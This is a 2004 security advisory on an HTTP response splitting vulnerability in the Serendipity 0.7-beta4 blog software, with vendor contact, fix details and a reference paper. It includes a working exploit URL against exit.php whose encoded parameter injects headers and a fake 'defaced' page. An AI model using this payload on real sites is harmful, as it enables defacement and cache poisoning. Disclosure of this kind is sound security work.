SECURITY ADVISORY: HTTP Response Splitting in Serendipity 0.7-beta4
AUTHOR: Chaotic Evil (chaoticevil $$$at$$$ spyring $$$dot$$$ com)
DATE: October 21st, 2004
PRODUCT: Serendipity 0.7-beta4 [October 14th, 2004 (Recommended release, most stable)] - www.s9y.org
FROM THE VENDOR WEBSITE: Serendipity is a weblog/blog system, implemented with PHP. It is standards compliant, feature rich and open source (BSD License).
SECURITY VULNERABILITY HTTP Response Splitting .
EXPLOIT: (observe that the url parameter is Base64-encoded, then URL-encoded)
http://SERVER/serendipity/exit.php?url=DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb 250ZW50LUxlbmd0aDogMA0KDQpIVFRQLzEuMCAyMDAgT0sNCkNvbnRlbnQtTGVuZ3RoOiAyMQ0KQ 29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPGh0bWw%2bKmRlZmFjZWQqPC9odG1sPg%3d%3d
VENDOR STATUS: Vendor contacted October 14th. Vendor worked closely with the author and promptly produced a fix (see below).
FIX: Use version 0.7rc1 (downloadable at http://www.s9y.org/12.html)
REFERENCES:  "'Divide and Conquer' - HTTP Response Splitting, Web Cache Poisoning attacks, and Related Topics" by Amit Klein, dated March 4th, 2004 http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pd f
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